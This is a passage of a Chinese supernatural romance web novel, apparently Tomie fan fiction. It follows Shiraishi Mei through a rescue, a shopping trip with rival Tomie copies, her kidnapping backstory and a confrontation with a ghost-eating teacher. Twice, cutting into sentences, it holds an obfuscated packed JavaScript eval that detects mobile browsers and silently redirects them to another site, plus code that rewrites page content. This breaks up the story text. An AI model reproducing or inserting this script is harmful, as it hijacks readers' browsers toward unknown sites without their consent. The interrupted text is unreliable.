白石芽衣看向黑发少年。对方嘴唇紧抿,一副看待垃圾和死人的样子看待下面陷入休克的男同学,这架势完全不像是要救人,倒像是准备送他一程,让对方早登极乐。 所以她没有停下动作,犹豫地问道:“...你可以吗?” “你来说,我来做。”少年理直气壮地回答。 白石芽衣严重怀疑,这家伙可能从来没认真听过学校保健课..... 人命关天。 还是不要冒险。 然而白石芽衣无声的拒绝让黑发少年坐不住了,他脸色发黑,不由分说抢过白石芽衣的位置,后者猝不及防被他挤开,等回过神来时,少年的双手已经放在那人胸膛上了。 即便隔着湿漉漉的衣服,川上富江还是一副非常嫌恶但是不得不碰触垃圾的样子。 所以说这么为难的话,干嘛非要..... 白石芽衣不明白。 “你.....” “你说,我来做。”他还是坚持道。 白石芽衣没有办法,只好仔细回忆着上课时老师讲的急救知识,然后再转述给少年听,他做的有板有眼,然而似乎并没有多大的效果,就在白石芽衣犹豫着要不要进行人工呼吸的时候,底下昏迷休克的人恰到好处地吐出了一口水,然后咳嗽不止。 不管如何,人是至少重新有了呼吸。 白石芽衣张罗着让其他人帮忙把人抬到下面去。几个男生在她的指挥之下像是有了主心骨似的,合力将人抬了起来,往楼下空旷的位置去等待救护车到来。 离开的时候,白石芽衣无意间、再次和藏在人群最后的美咲老师对上视线。 此刻,对方脸上的笑容荡然无存,美丽的脸庞上没有太多的表情,但那双美丽的桃花眼底,全是肃杀之意。 她紧紧地盯着白石芽衣,不再是以前那好奇或者感兴趣的目光,而是一副坏她好事,并且恨不得将她生吞活剥的样子。 直觉告诉她,这位老师不太对劲。 先不说她身为老师,竟然躲在学生群中观看事态的发展,不对,与其说是看热闹,倒不如说她在等待着事情朝最坏的方向发展。 最坏的方向就是白石芽衣来晚了,或者没能阻止,那个男生会因为休克而死。 可是那个男生死了,对她有什么好处呢? 她难道和这个男生有什么过节吗? 白石芽衣不明所以,但暗自对这位新来的美女老师多了一点防备之心。 他们刚一到一楼,救护车和警车同时都到了。 估计是哪个看热闹的人看情况不对便报了警,然而那几个始作俑者并不是这样想,被警察带上警车的时候,不约而同用冰冷怨恨的目光看向白石芽衣,显然是把她当成了报警的人。 白石芽衣嘴巴微张,但最后还是什么也没有解释。 黑发少年恰如其分地挡在她的身前,将那些不好的目光隔绝开来。 少年的身影清瘦但挺拔,无端地让她联想到林间的竹子,高雅清淡,不食人间烟火,让人难以靠近,又或者不敢靠近。 偏偏下一刻少年的话就将她这无端的幻想打碎—— “芽衣,我脏了。”少年如是抱怨道,冷清的脸上多了一点幽怨之意。 白石芽衣却差点被自己的口水呛到,“咳咳咳咳,啊?” 他在说什么啊? “那家伙恶心死了,也不知道是不是这辈子没认真洗过衣服,碰过他的衣服我的手都好像沾上了臭味,还有水,我的衣服都沾上了水,已经不能要了...” 富江一通抱怨,最后黑色的眼睛定定地看着白石芽衣,道, “...这一切都是为了帮芽衣呢......” 最后一句绝杀! 让白石芽衣本来想吐槽的话都生生地憋了下去,好像不说点什么感恩的话,就太没有心肝了。 况且刚才如果不是富江及时出现的话,恐怕那里面的人就真的死了..... “...刚才的事,真的谢谢你了,至于你的衣服,我会帮忙赔偿的.....” 少年等的就是她这句话,还没等白石芽衣把话都说完,便急不可耐地打断道:“那现在芽衣就带我去买新衣服吧。” 白石芽衣:“.......” * 最后白石芽衣还是带着富江去了商场,知道少年挑剔,她带去的是比较知名的几个品牌店。 他看上去并不热衷逛街购物,看什么都是神色恹恹,提不起兴趣一样,让白石芽衣都有点怀疑刚才说要她给他买新衣服的人不是他了。 导购推销了几套衣服,都被他无情地拒绝不单只,还要被冷嘲热讽一波品味低下,到最后,导购也不敢上去触他霉头,只能将求救的目光投向一边的白石芽衣。 得了,这是不仅要出钱还要出力兼职当导购..... 白石芽衣扫了一眼店内的时装,挑了几件自认为适合的款式给对方。 “富江,不如你试下这几件,应该还蛮适合你的。” 富江挑眉,用审视的目光扫了一眼那些衣服,莫名地把白石芽衣看的有点紧张,就好像是当面交作业给老师批改似的。 不过他没说些什么,只是抱着衣服乖乖走进了试衣间。 她这才松了一口气。 等待的过程中,白石芽衣无聊地拿起手机消磨时间。 不知怎的,她又想起了校园论坛帖子上那些有关富江的诡异的照片,鬼使神差地,她再次点了进去。 帖子还没有删除。 她一张一张地滑下去看。 每一张的富江都是一如既往的瑰丽,而脑袋上长出的那张恐怖的脸,和那张美得如同神明般的脸形成了鲜明的对比,就好像一面是天使,一面是恶魔。 而那张恶魔的脸上,虽然扭曲恐怖,但是依稀还能看见眼角下方那标志性的泪痣。 毫无疑问,那张鬼似的脸也是富江的脸。 只不过被人恶意地异化、扭曲。 忽然,她发现了一个可疑的细节。 她先是注意到一张照片上的富江是卷发,看上去像是略显蓬松的自然卷,微微翘起,勾起调皮又好看的弧度,有种混血儿般的美感。 不仅是这张,她这才后知后觉地发现,每一张照片几乎都是卷发。 可是为什么呢? 还没等她想明白各种原因,便来了个电话。 这里人多吵杂,她便选择走到外面接听。 白石芽衣有个习惯,喜欢边接电话边走路,等一个电话打完,不知不觉差点就走出商场。她收起电话正准备往回走,就看见黑发少年不知何时也跟了出来。 对方正站在一个珠宝店的橱窗面前,似乎正在驻足欣赏。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他们身上都没有带利器,所以这一场战斗就成了最原始的搏斗,罕见地男人之间的,用拳头来说话。 显然,那位据说是始祖代的川上富江明显更胜一筹,他身上挂了不少彩,但对面的家伙显然比他伤的更重,口中已经溢出了鲜血。 “呸,你这个老不死的糟老头,不就是仗着自己岁数多,多学了点东西,有什么好神气的.....死剩种!” 他又呕出了一些鲜血,还夹杂着碎肉。 也许已经伤到了内脏。 但是两人都心知肚明,只要给足够的时间,无论多深的伤口都会恢复,真正杀死富江的只有火焰,能够吞噬一切的火焰。 没关系,连带着那些呕吐出来的脏血和内脏,他都会一并焚烧掉的。 他这样想着。 正准备彻底解决对方的时候,两人都不约而同地感受到了一个熟悉的存在。 第三个富江,就在这个商场里面。 并且正和女孩在一起。 就在他们两个生死决斗的时候,有第三个富江处心积虑,恬不知耻地趁虚而入,正在窥视着他们的女孩! 16.第十六章 面前的富江换了一身衣服,简单又宽松的上白下黑的搭配,让他看上去多了几分随性的慵懒感,并显得他的身形越发修长,整个人就好像电视海报里那些混血模特似的。 炫目却让人移不开视线。 周围很多人都在偷偷打量着富江。 “这一身还挺好看的,是你自己选的吗?话说…你的头发怎么是卷的?”白石芽衣奇怪地问道。 还没等富江回答,面前的女孩有自顾自地说道:“不过你这样还挺好看,头发看上去很蓬松柔软。” 很像德文小猫,有种让她想上手蹂躏一下的冲动。 不过、这是能说的吗? 当然是不能! 富江又自动忽略了前面的问题,转而反问道:“你喜欢我的头发?” 白石芽衣可不敢说不喜欢,免得等会又让少年借题发挥了,毕竟对方理所当然颠倒黑白的本事她又不是第一次见识了,所以她只能点点头,“挺喜欢的。” 倒也不算昧著良心说话,平心而论,无论是纤细修长的手指,宛若羊脂玉一般散发着萤光的肌肤,艳丽轻薄的嘴唇,高挺的鼻梁,魅惑的眼睛和泪痣,如同黑色丝绸一般优雅精致的黑发.......但站在美学的角度来看,少年身上处处都像是上帝最用心的完美杰作。 毫不夸张地说,古往今来无数的艺术家追求的美丽,不过如此。 这过分简单的、甚至语气平淡的‘挺喜欢的’四个字,竟然让面前听惯了其他人阿谀奉承和赞美表白的卷发少年心里头一次有了异样的情绪。 她说喜欢他的头发。 喜欢.....他。 这三个字就好像小猫伸出的爪子,软软的,又热呼呼的,‘吧嗒’一声,轻轻按在了他的心口上。 痒痒的,好像有什么东西要从中流淌而出一样。 这样陌生又古怪的情绪来的莫名其妙,以至于让他有点烦躁。 他讨厌这种好像是莫名其妙被强加的情绪。 目光忍不住四处移动,寻找一个合适的发泄口,忽而就对上了远处正在偷鸡摸狗看着他的两个…富江。 他稍稍歪过头,漆黑冰冷的眼眸中划过一丝诧异,然后下意识地,无数个不属于他的瞬间在脑海中闪回。 了解完所有的前因后果后,卷发少年这才露出玩味的笑容。 原来如此…… 白石芽衣不知道发生了什么,但是少年变脸的速度很大,一会儿看上去有些生人勿近的烦躁,一会儿又变的兴趣盎然,好像发现了什么好玩的事情似的。 “...怎么了吗?”白石芽衣问道,也顺着对方刚才发呆的方向看过去。 但那边只有人来人往的男男女女,乍一眼看并没有什么特别的地方。 那两个赝品倒是躲得快,就这么害怕被发现吗? 这个认知让少年的嘴角压得更翘了,然而就在女孩看向他的时候,他又露出了罕见的、伪装出来的乖巧,冷不丁地问道: “芽衣,我可以住在你家吗?” 他的神态太过自然,语气也太过平常,以至于白石芽衣有一瞬间以为自己听错了,他说的是应该是‘一起吃饭’又或者‘祝你晚上好梦’等之类的话。 白石芽衣:“啊?你说什么?” 一定是幻听吧! “我说,我可以去芽衣家里住吗?”他不厌其烦地复述一遍,见女孩一脸错愕震惊的样子,他垂眸敛去眼底的暗光,“...我不想回自己的家,我从小是个孤儿,在福利院长到五岁,然后被现在的养父养母发现,他们很喜欢我的样子,便把我收养…一开始他们确实对我很好,但是随着时间的流逝,他们的真面目也渐渐暴露出来…” 他滔滔不绝地一通抱怨着自己和养父母之间的事情,就好像这些话曾经已经被说过无数次一样熟练流利。 最后他咬了咬嘴唇,小心翼翼地开口:”我实在不想再回去了,芽衣可以收留我吗?” 他的睫毛很长很翘,但此刻正可怜兮兮地垂落,在说这些话的时候,如同蝴蝶翅膀般震动着,脆弱的、无辜的,又楚楚可怜。 少年这套一向都是战无不胜的,每次稍加施展,就能引得那些人同情心泛滥,双手将自己能给的、甚至不能给的都会想尽办法、心甘情愿通通为对方奉上。 毕竟,没有人可以拒绝富江,尤其是故意示弱,装可怜的富江。 他向来深谙此道。 然而,就在他陷入得意洋洋即将拿下女孩,在那两个赝品的注视下品尝登堂入室的甜美果实的幻想之时,女孩却不像那些追随者一样露出恶心的痴迷的目光,反而是一脸正义凌然,对他说:“富江,逃避只会让那些人以为你是好欺负的……所以…” “所以?”他有点没反应过来,像应声虫一样重复着女孩的话。 “所以…我认为最好的方法还是报警,或者我跟你一起去联系社区的未成年人保护协会,里面有专门反对家庭暴力小组,一定要让他们受到法律的制裁,就算没有被制裁,也要让他们感到害怕,让他们知道你不是只会逆来顺受,还有一味逃避的…” 开什么玩笑! 她怎么完全不按常理出牌? 轮到卷发少年愣住了,就好像是卡顿的机器人,直到女孩自说自话牵起他的手,拉着他就要往最近的警察局走去,他才堪堪回过神来。 神奇地是,他竟然没有感到生气。 只是若有所思地看着女孩牵着他的手,和他那双冰凉的、没有人气的手不一样,女孩的手是鲜活的,温暖的。 仿佛还能感受到她的脉搏和心跳。 和那些假模假样说着同情他,收留他的家伙不一样,女孩是这么地与众不同,她是真心实意为他考虑,并且是真的想彻底帮助他解决问题! 想到这里,卷发少年的嘴角控制不住。 然而除了暗中窥视的那两道嫉妒的几乎要杀人一般的视线,少年敏锐地感到了其他视线的存在,顺着看过去,一个穿着卫衣,带着口罩帽子,把自己样貌捂得严严实实的家伙正在用那双不满红血丝的眼睛死死盯着他,还有他身边的女孩。 他太过熟悉这样的视线了,毕竟他曾经从不同的人身上见识过无数次这样雷同有令人厌恶的视线。 人类就是这样的,前一刻说着爱你的话,下一刻就会对你举刀相向,恨不得生啖其骨肉。 他领教过太多。 只是他现在并不是孤单一人…… 片刻后,他恋恋不舍地挣脱开女孩的手。 “芽衣,我先去个卫生间…”察觉女孩奇怪的目光,他面不红心不跳地撒谎道,临走时,他还不忘指了指自己的脸颊,“可以请你亲一下这里吗?” 女孩一愣,随后脸上浮现出两抹红晕,眼神游离地看向四周形形色色的路人。 “这、这不好吧!这里人太多了啦!” “哦豁~芽衣原来也会害羞啊…嘛…那好吧,下次…”他略带遗憾地顿了顿,“下次要补回来给我哦~要记得…我哦,芽衣……” 说完,他毫不留恋地转身,摆了摆手,径直朝着没什么人的洗手间走去。 * 白石芽衣看着卷发少年的身影离去,直至消失在拐角处,她这才松了一口气。 天地良心,刚才富江问她能不能去她家里住的时候,白石芽衣差点脱口而出‘可以’二字。 但她忍住了,要是带回家去的话,先不说父亲那边要如何解释,再者,逃避根本不是解决问题的根本所在。 不过,白石芽衣还是为少年所说的话感到震惊,明明在学校里风光霁月、众星捧月一般的少年,在家里竟然忍受着这样的苦难,被领养,养父养母,被嫉妒,被随意打骂…… 一个可怜又可恨的孤儿形象跃然进入她的想象当 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15169711|164050||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 中—— 从小失去父母,流离在孤儿院里面,好不容易被养父养母收留,但随着外貌气质越发出落,年老的养父母竟然嫉妒起少年的年轻与美貌,便想尽法子折磨对方,甚至还想方设法抽取少年身上的血液,以此妄图恢复自己的年轻… 白石芽衣曾经读过一些报道,外国有些富人会定期去为自己输血,他们认为给自己输入新鲜的血液能够有效防止自己的衰老,更有甚者会移植年轻人的一些器官… 在这样扭曲的家庭关系中成长的少年,性格未免也会有点缺陷,所以他才会在学校,在其他人面前总是一副时而冷清不可靠近,时而又颐气指使、尖酸刻薄的样子,因为只有这样他才能保护自己不受伤害。 他需要别人爱慕的目光和追随来证明自己的特别,但同时他恐惧着其他人的靠近,就如同恐惧他的养父养母一样,因为那些表面上充满爱慕的话语,最后在他眼里都会变成裹着蜜糖毒药的尖刀,狠狠地刺向他。 白石芽衣讨厌川上富江。 但她得承认,听到这些的时候,还是会忍不住感到一点心软和同情。 最重要的是,她竟然产生了一种同病相怜的感觉。 当然,这样的感觉仅仅持续了一会,很快就被少年的迟迟未归给粉碎了。 白石芽衣看了看手表,距离富江离开已经过去半小时了,这是掉进厕所里面被冲走了吗? 正当她不耐烦准备去洗手间寻人看看怎么回事的时候,富江这次施施然地从另一个方向走过来。 白石芽衣楞了一下,不过也似乎理解了少年去卫生间半小时的原因,毕竟面前的富江又重头到尾换了一身休闲的装束,不仅如此,他还戴了一顶鸭舌帽,鼻梁上方的区域被隐藏在帽檐的阴影里,让白石芽衣不是很能看出他的喜怒。 她有些奇怪地看了看少年的发尾,但被帽子压住看不出来太多。 他手里还提着刚才那家服装店的袋子,应该不仅换了身衣服,还折返回去店里把买下的衣服拿走了。 难怪会花这么多时间…… 但是少年并未打算跟她去警察局,他说太晚了,他需要回家。 白石芽衣不明白这短短的半小时发生了什么,但面前的少年表情有些冷硬,冷硬到让她有种刚才那些楚楚可怜的家伙并非面前的川上富江。 “可是你的家……”她有些急切地开口。 但没说完就被少年的轻笑声打断。 他最讨厌就是其他赝品那种装疯卖傻,楚楚可怜博取同情的戏码,他也从来不屑用这种下作的手段去获得自己想要的东西。 所以在暗中看见少年和女孩的拉扯时,他既不屑,又愤怒,尤其是那个赝品竟然恬不知耻开口要住进女孩家里时,一瞬间他都想冲出来掐死对方。 但他的女孩拒绝了。 然而他自己不愿意承认的一点是,对方那干脆利落的拒绝并没有想象中让他感到开心,反而内心顿觉苦闷。 她是不是其实根本就不在乎他? 又或者,其实她根本没有那么喜欢他? 可此刻他的视线不经意地一撇,就对上女孩那双略带担心的眼睛,湖绿色的眼睛像一汪平静的湖水,又像是黑暗中的一盏幽亮的灯,直直地照进他的眼底。 躁动的血液和心跳终于平静下来。 他垂眸敛去那些阴暗晦涩,语气平淡,“芽衣,我真的无家可归的话,你会让我去你家吗?” 白石芽衣一阵错愕,然后垂眸不去看他,沉默。 少年的潜台词是,如果不能带他回去自己的家,就不能破坏他现有的家。 在她低头的时候,少年的目光贪婪地注视着女孩脸上的表情,一丝一毫都不曾放过,他享受女孩这种因为他而纠结,犹豫甚至心疼的表情。 也许适当地示弱,装可怜,也不是一件坏事。 他心满意足地想到。 17.第十七章 回家之后,白石芽衣果真整晚上都睡不着,毫不夸张地说,只要她一闭上眼睛脑子里浮现的全都是和富江道别时的场景。 戴着鸭舌帽的黑发少年,总是风光霁月受人追捧的天之骄子,此刻却低垂着高傲的头颅,他静静地注视着白石芽衣,眼底有着她轻易能够看透的期待之意。 他在等着她的回答。 白石芽衣心里都清楚,但她什么都说不出口。 少年看穿了她沉默背后的意义,随即露出自嘲的笑容,但他没有说些什么,只是留下一句“我今天很开心,谢谢你芽衣,以及,祝你好梦。” 语气平淡但是不失真诚。 仿佛他真的挺高兴一样的…… 白石芽衣更加如鲠在喉,张嘴想找补些什么,最后只憋出了一句‘明天见’。 “嗯,明天见。”少年摆手回答道。 看见少年独自离去的背影,白石芽衣心里只剩下一个念头,那就是—— 她真该死啊! 想到这里,白石芽衣颓然地睁开眼睛,既然睡不着,她干脆放弃挣扎,果断睁开眼睛。可是睁开眼睛耳边似乎也能响起少年冷清的声音,一遍一遍,像是魔咒一样响起。 --芽衣,我真的无家可归的话,你会让我去你家吗? --我今天很开心,谢谢你芽衣。 谢谢你芽衣... 这是因她的自以为是而引发的咒语。 白石芽衣侧过脸去,床头柜上放着一个倒置的相框,翻过来是一张一家四口的幸福合照。慈眉善目的长发女人,略显严肃生硬的中年男人,还有一对外貌上看上去十分相像的双胞胎兄妹。 小女孩是白石芽衣,而小男孩则是和她一胎同出,只比她早降生世界一分钟的双胞胎哥哥白石莲。 没错,白石芽衣是有个双胞胎哥哥的。 虽然生于白石家,但白石芽衣有个传统专制的父亲,父亲重男轻女,认为这个偌大的家业最后是要交给她的哥哥手上的,从小就对这位哥哥寄予厚望。当然,虽然家业会交给莲继承,但白石芽衣从小吃喝住行的待遇都是极好的。 如此一来,白石芽衣从小还能骗骗自己,父亲不是不爱自己,只是没有像爱哥哥一样爱她而已。 毕竟人心总是偏的,做不到一碗水端平,也实属正常。 直到八岁那年,她和莲被绑架了。 绑架犯是父亲商场上曾经的朋友,因为嫉恨着父亲在自己最艰难的时候没有伸出援手,反而和对家合作趁做空自己公司的股价,导致他们一夜之间公司破产,一无所有,所以才绑架了他们。 歹徒杀人诛心,给了父亲两个选择—— 一是五亿日元的赎金,但两个人之间只能活一个。 二是五十亿的赎金,两个都可以放走。 而五十亿,几乎是当时白石家可以动用的全部资产。 所以她的父亲几乎是毫不犹豫地选择了第一种,而白石芽衣和白石莲之间,自然毫无悬念地也是选择了未来要继承白石家的白石莲。 家业和继承人,她的父亲都想要。 而年仅八岁的白石芽衣理所当然地…被放弃了。 不过上天也许是眷顾她的,两个娇生惯养的小鬼降低了绑匪们的警戒心,等他们反应过来的时候,莲已经拉着白石芽衣悄悄跑了出去。 绑匪反应的很快,察觉两人不见就马上追了出来。他们所处的位置是郊外的荒林,大晚上的视野不好,加上彼时的白石芽衣和白石莲都只是八岁的小鬼,很快就被那两个绑匪追上了。 白石芽衣跑的慢,白石莲就牵着她往前跑,情急之下,两人就双双滚下了山崖。 再后来的事,就是白石芽衣因为撞伤大脑昏迷了两个月后在医院醒来,因为担心类似的事情再次发生,白石莲被送往国外求学,兄妹二人一别就是八年。 而母亲在第二年因疾病去世,父亲很快就续弦,虽然第二任妻子一直没有所出,但白石芽衣还是顿感自己的地位微妙。 所以这些年来她才一直努力地想要去证明自己,事事做到最好,无可挑剔,为的就是能够让父亲看见。 而她之所以如此看重接下来的比赛,也不过是因为她知道自己的父亲会来到现场。 其实在听说富江如此悲惨的身世之后,她内心不是没有过动摇,这也是她迟迟睡不着的真正原因。 若是川上富江真如表面上看到那样爱慕虚荣、空有美貌,本质是个烂人的话,她还能骗骗自己可以心安理得地利用、甚至算得上是在玩弄他的感情,利用他人的感情来达成自己的目的。 但如今,只能用五个字来形容她自己—— 她真该死啊! 白石芽衣再次将目光投向那张看似和谐的全家福,事已至此了,马上就到了比赛的日期,为了这一天她明明做了这么多的努力,努力地学习,获得优秀到让老师和同学侧目的成绩,花了这么多时间经历在学校经营自己的地位和公信力,不就是为了能够有一天站在父亲面前,告诉他当初自己的放弃自己的决定是愚蠢错误的吗? 明明就差这一步了,真不甘心啊...... 想到这里,她咬咬牙,露出了坚定的目光。 就算卑劣也好、自私也罢,她也要利用好这次的机会......至于富江的话,事后她一定郑重其事地向对方道歉,并且愿意做任何事情作为弥补来恳求他的原谅...... 就算不原谅她也没关系,就让她一直背负着卑劣内疚的情感度过余生就好。 白石芽衣将相架反扣在桌面上,再次闭上了眼睛。 只是眼皮底下偶尔滚动的眼珠子还是宣泄了她内心的不平静。 一夜无眠。 * 而后的几天,因为富江而发生的暴乱事件还是只增不少,但是白石芽衣已经学会了借力打力,每次都会捎上富江,那家伙啥也不用做,光站在那里冷言冷语几句,比她们整个部门上去苦口婆心地劝上半天都来的更加有用。 不过,次数一多了也未免会引起众人的怀疑。 这不,刚解决完一起事件后,就有男生迫不及待地开口询问:“白石同学,你和富江到底是什么关系?为什么他总是出现帮你?” 这话一出,在场人的视线通通聚集在白石芽衣的身上。 不过,早在她想到借力打力这一招的时候就已经想好了解决方法,所以她表现得处变不惊,而是淡定地回答:“我们之间当然是普通的同学干系,不过、鉴于川上同学出色的能力,我们风纪部已经决定招揽川上同学成为我们部门的一员....目前正在走流程,不日就会看到公告了....我想,你们大家也不会想为川上同学的工作添麻烦,对吗?” 闻言,那些刚才还一副嫉恨、敌视的目光瞬间变味,开始不断地有人用讨好的目光看向一边的川上富江,纷纷拍着胸膛保证自己绝对会无条件支持富江的工作。 白石芽衣这才露出了满意的表情,可一侧目,就对上黑发少年的目光。 冰冷的,又阴郁,隐隐带着一些幽怨,仿佛一根冷箭,直击心底。 白石芽衣有一瞬间感觉自己早就被面前的少年看穿了那点卑劣的诡计,不由地心虚起来。 他这是在生气自己滥用他的名义吗? 没等她想明白,面前的黑发少年冷哼一声,随后便直直朝她走过来,白石芽衣感觉心脏好像被捏紧似的,被人提着不上不下的。 他这是要干嘛? 这里这么多人,难道他想… 可少年没有说什么,只是径直与她擦肩而过,就在她错愕之际,手心被不动声色地塞进一团纸 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白石芽衣叹气,但还是把皱巴巴的纸条折叠整齐,然后放进口袋中,推开了音乐教室的门。 里面没人。 白石芽衣便找了个位置坐了下来,掏出笔记复习。 “阿咧,白石同学真的如同传闻一样优秀呢....这种时候都要抓紧时机复习功课吗?” 美咲老师的声音响起的瞬间,窗外的一阵无名风将白石芽衣的笔记本的书页吹动,发出沙沙的不详声响。 她一抬头,就对上美咲老师那双冰冷美丽的眼睛。 对方看穿了白石芽衣的错愕与惊讶,便自顾自走进来,边解释道:“我都看见了哦,川上同学偷偷塞纸条给白石同学你....不过你放心,只有我一个人注意到了...不过,一定要说的话,可不止只有我一个看见了.....” 白石芽衣没由来地感到一阵心慌。 音乐教室内的温度似乎骤降了不少,竟然让她有种通体发寒的感觉。 “美咲老师这话是什么意思?” 什么叫只有她一个人看见了,又不止只有她一个看见了.... 她的意思是? “诶?白石同学看不见吗?这里可是有着很多很多死去的灵魂呢……”说着,她忽然流露出贪婪渴望的表情,嘴角也不可控制地流出口水,一副很馋的表情打量着音乐教室....“尤其是当她们知道,川上同学把你约来这里,都迫不及待地围过来了呢.....” 白石芽衣强压恐惧,顺着她的视线看过去,可是什么都没有。 见白石芽衣不说话,但是后退了两步试图和她拉开距离,美咲咧开嘴,露出一口阴森的大白牙,笑嘻嘻地将食指抵在自己的嘴唇上,道; “讷~白石同学,不介意我…现在开始吃了吗?我真的太饿了…好饿好饿…每次想开饭吃点新鲜的时候,白石同学总是出来阻止呢…讷~这次就让我吃吧?好不好好不好好不好好不好好不好好不好好不好?” 白石芽衣吓得节节后退,最后竟然都退到窗户边上了。 而女人仍旧一副饿坏的样子,仿佛下一刻就要跳上来,扑到她面前将她生吞活剥似的。 这个家伙,是疯子! 就在气氛剑拔弩张、一触即发的时候,门口传来了不合时宜的声音—— “我以为是哪个没有公德心廉耻心的家伙呢,原来是你这个臭女人啊,隔老远就闻到你身上那股沟渠味…喂,你难道不知道学校规定音乐教室是不允许吃东西的吗?真是没教养…也是,你不就是这样一个没爹没妈的家伙吗?” 白石芽衣一:“……” 太好了,是富江我没救啦! 白石芽衣看着逐渐红温的女人,如此想到。 18.第十八章 宫崎美咲是被幽灵养大的孩子。 她的母亲在怀孕的时候就已经死了,然而还是胚胎的宫崎美咲仍旧在死去的母体中汲取着营养,终于在一段时间之后顺利降生。而神奇的是,死去的母亲也许是担忧这个艰难出世的孩子,死后没有立即成佛,竟然也化作幽灵喂养刚出生的宫崎美咲。 宫崎美咲是汲取幽灵的营养长大的。 长大后,即便她能够正常食用人类的食物获得表面上的饱腹感,但是却永远无法从这些食物中获得真正的、维持生命所需的营养。所以她只能不断地狩猎幽灵,哪里有多的幽灵,她就到哪里去,吃光一个地方能吃的幽灵,她就立马离开,物色下一个地方。 浅岛家就是她本来的目标。像这种富了不知道多少代的世家,除了每一代继承人的能力之外,多少也有点因为祖上庇护的缘故,浅岛家的家族坟地就在自家的后山,历代浅岛家的人死后都埋葬此处,先祖的灵魂镇守在此处,庇佑着子孙后代,俨然成了住家仙一般的存在。 所以那日她出现在浅岛家的后山根本不是什么意外的迷路,而是追寻着食物的气味而来。 没想到浅岛雄大那个恋爱脑,竟然就这样三言两语被她唬住,竟然还让她住在自己家里。这极大地方便了宫崎美咲的行事,一连几日她都流连在对方的家族墓地里,简直比吃自助餐还爽。 直到她在浅岛惠的葬礼上看见白石芽衣和川上富江。 白石芽衣的身边干干净净,竟然连一个背后灵都看不见。 这倒是稀奇,毕竟人活在世上,多少都会有亲朋好友离世,多多少少身边都会围绕着背后灵,可偏偏女孩身边一个都没有。 通过浅岛雄大得知,白石芽衣是白石家的人。 那就越发不可思议了,毕竟作为大世家之一,白石家的根基比起浅岛家只有多没有少,偏偏这位白石小姐身边却干干净净,着实是匪夷所思。 不过,即便她稍微惊讶了一会,便不再投去关注的目光。 毕竟,没有背后灵说明她是没有食用价值的人。 至于另一个—— 拥有令人胆战心惊的美貌的少年,光是站在那里就让人无法忽视,同样没有任何的背后灵,干净的不像话,但和女孩不同的是,他身上散发着强烈的死亡气息。 宫崎美咲自小与幽灵、墓地、尸体打交道,对这种气息是再熟悉不过。 那个美的不像活人的少年,无论出现在哪里,伴随的都是不幸和死亡。 换句话说,少年所在的地方,会有源源不断地死灵诞生,一共她吃食。 所以她几乎是毫不犹豫,就来到了少年所在的学校。果然真如她所料,只是远远地站在校门口驻足观望,就足够感受到那股庞大的能量场。 吃惯了好的,就很难再去吃那些味道并不怎么美味的陈年灵魂,一般来说,人死后都是要成佛的,就算不立即成佛,死后化作的灵魂也会随着时间的流逝越来越弱,直到完全消失。 越是弱小的灵魂,就越是索然无味。 不过川上富江所在的地方,永远少不了就是新鲜的灵魂。 总会有人为他争得丧失理智、头破血流,根据她的事前调查来看,自从川上富江转学以来两个月不到的时间,已经有好几个跳楼自杀事件以及斗殴致死事件发生。 总之,她想的非常好,却没想到每次都会被白石芽衣坏了好事。 女孩总是及时赶到每一次大大小小的骚乱现场,三言二语又或者直接搬出富江,轻而易举就将她期待已久的珍馐美梦给破碎。 她哪里能不恨这个家伙?! 再说,川上富江于她而言尚有利用的价值,白石芽衣就不是了,甚至她有种强烈的直觉,只要杀死对方一切就会回到她想要的正轨上。 对,只要把碍事的白石芽衣干掉.... 而且、想必她灵魂的味道一定也非常好吃。 想到这里,她就忍不住舔了舔自己干涩的最嘴唇,而就在女孩无法窥见的那个世界,那些因为川上富江的纸条而聚集在音乐教室的鬼魂们,瞥见女人进食前的动作,不由自主滴瑟瑟发抖起来,发出撕心裂肺般的尖叫声。 而白石芽衣只觉得一阵无名阴风吹来,忍不住打了个寒战。 傻子都能察觉现在的氛围并不对劲。 但显然富江并没有这样的眼力见。 和那张美得不食人间烟火的脸蛋形成强烈对比的是,少年那把淬了毒似的嘴巴,像是上了膛的机关枪一样突突突,嘲讽个不停。 只见女人的脸色越发阴沉,原本美丽的面容因为愤怒而扭曲,此刻竟然变得形如鬼魅,比地狱爬上来的恶鬼都要恐怖几分。 她是真的想杀了我们! 白石芽衣有这样的直觉! “...川上同学,虽然你是特别的...但是不代表你可以这样侮辱我...伟大的妈妈,吶~要给老师道歉哦!道歉知道吗?不然老师生起气来...可是非常恐怖的哦~” 女人笑着,但是笑意不达眼底,反而有种强颜欢笑的僵硬感,而她笑容同时出现的,还有女人揣在兜里随身携带的美工刀。 美工刀被人一节节地推出来,发出恐怖又刺耳的‘咯咯’声响。 “你这个家伙没点自知之明吗?就算你不生气,长得也已经像鬼一样了,也是...由鬼养大的孩子,不是鬼是什么呢?至于你那个跟你一样恶心的妈,她最应该做的就是把还是受精卵的你狠狠扼杀在.....” 白石芽衣看不过去捂住了他喋喋不休、恶语连珠的嘴巴,“...你再说下去,我们就真的完蛋了!“ 说完,她不动声色地警惕着宫崎美咲手上的刀子,又时刻关注着她的一举一动,生怕她忽然发难让她和富江两人都陷入十分危险的境界。 偏偏少年一无所知,就在她捂上他的嘴巴的一瞬,少年的表情瞬间变得阴郁,随后又不知道联想到了什么拨开乌云,漆黑的眸子像是被瞬间点燃似的,闪闪发亮。 白石芽衣只觉得自己掌心一湿,然后大惊失色。 